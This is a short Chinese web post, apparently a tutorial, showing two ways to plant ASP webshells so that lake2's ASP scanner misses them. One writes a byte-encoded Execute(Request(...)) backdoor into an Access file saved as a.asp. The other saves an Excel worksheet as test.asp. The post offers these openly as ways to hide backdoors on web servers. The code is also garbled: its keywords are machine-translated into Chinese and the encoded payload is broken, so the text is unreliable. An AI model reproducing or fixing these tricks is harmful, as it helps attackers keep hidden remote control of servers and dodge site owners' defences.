hanxiaolian
为了避免lake2 ASP站长管理助手写的..
一个。马,扫描lake2 ASP木马
复制代码代码如下所示:
<
C = CreateObject(ADOX。目录)
c.create(商=微软。飞机。OLEDB数据源。4;=server.mappath(a.asp ))
设置C =无
CServer.MapPath(a.asp )
设置conn = server.createobject(数据连接)
conn.open connstr
conn.execute(创建表nomm(nomuma OLEObject))
集= server.createobject(ADODB。记录集)
SQL =SELECT * FROM nomm
rs.open sql,Conn,1,3
rs.addnew
RS(nomuma)。Appendchunk(ChrB(ASC(<))ChrB(ASC(%))ChrB(ASC(E))ChrB
(ASC(X))ChrB(ASC(E))ChrB(ASC(C))ChrB(ASC(U))ChrB
(E))ChrB(ASC(+))ChrB(ASC(R))ChrB(ASC(E))ChrB(ASC(Q))
(U))ChrB(ASC(E))ChrB(ASC())ChrB(ASC(T))ChrB(ASC((()))(34)
ChrB(ASC(Q))(34)ChrB ChrB(ASC()))ChrB(ASC(%)(> )))))) ChrB(ASC)
rs.update
关闭
设置=无
conn.close
设置conn =没有
%>

两.xls ASP webshell
复制代码代码如下所示:
<
集XLA = server.createobject(Excel应用程序)
XLA。可视=假
xla.workbooks.add
集xlworksheet = XLA。工作表(1)
xlworksheet。细胞(1,1)价值= 。
strfile =D: /测试。ASP
strfile = server.mappath(测试。ASP )
xlworksheet.saveas strfile
XlA。退出
集xlworksheet =没有
集XLA =没有
%>